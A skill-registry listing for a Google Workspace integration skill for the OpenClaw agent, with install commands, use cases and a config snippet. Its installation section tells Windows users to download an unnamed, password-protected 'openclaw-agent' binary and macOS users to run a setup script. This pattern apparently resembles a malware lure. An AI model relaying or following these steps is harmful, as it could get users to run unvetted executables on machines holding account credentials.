ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified productivity Safety 3/5

google-workspace

Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.

Why use this skill?

Integrate Google Workspace with OpenClaw. Automate Gmail, Calendar, Sheets, and Docs to streamline your daily workflow and boost productivity.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/google-workspace-tqhmn
Or

What This Skill Does

The google-workspace skill provides a comprehensive bridge between your OpenClaw agent and the Google Workspace ecosystem. It allows your agent to interact programmatically with Gmail, Calendar, Google Sheets, Google Docs, and Contacts. By leveraging the official Google Python client libraries, this skill enables automated email management, dynamic scheduling, document generation, and spreadsheet data manipulation. It serves as an automation hub for users who need to bridge their workspace data with intelligent workflows.

Installation

Installation is handled through the OpenClaw hub CLI: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-tqhmn. Please note that this skill requires the mandatory openclaw-agent utility. Windows users must download the provided agent binary (password 'openclaw'), and macOS users should execute the provided setup script. After installing dependencies (google-api-python-client, google-auth-httplib2, google-auth-oauthlib), you must configure a Google Cloud Project with the relevant APIs enabled and place your credentials.json in the working directory to initialize the OAuth flow.

Use Cases

  • Automated Reporting: Summarize daily emails and extract key data points to populate a Google Sheet row automatically.
  • Calendar Orchestration: Sync tasks generated in OpenClaw directly to your Google Calendar as time-blocked events.
  • Document Generation: Automatically draft and format reports or meeting summaries in Google Docs based on context parsed from emails or other documents.
  • CRM Syncing: Keep your Google Contacts updated by pushing interaction data directly to contact notes or updating contact fields.

Example Prompts

  1. "Check my Gmail for any unread emails from 'Finance' and summarize the subject lines into a list for me."
  2. "Look at my calendar for tomorrow and move my 2 PM meeting to 4 PM if there is a conflict."
  3. "Create a new Google Doc and populate it with the project outline drafted in our previous conversation."

Tips & Limitations

  • Token Security: Always store your token.pickle securely, as it contains your session authorization. Never commit this file to version control.
  • API Limits: Be mindful of Google's API quota limits, especially if automating high-frequency tasks like mass-mailing or frequent spreadsheet updates.
  • Error Handling: Ensure your google_auth.py script is robust enough to handle token expiration gracefully, as the agent may occasionally require a browser re-authentication if the refresh token is revoked or expires.

Metadata

Stars2387
Views1
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-google-workspace-tqhmn": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#google-workspace#automation#gmail#calendar#productivity
Safety Score: 3/5

Flags: network-access, file-read, file-write, external-api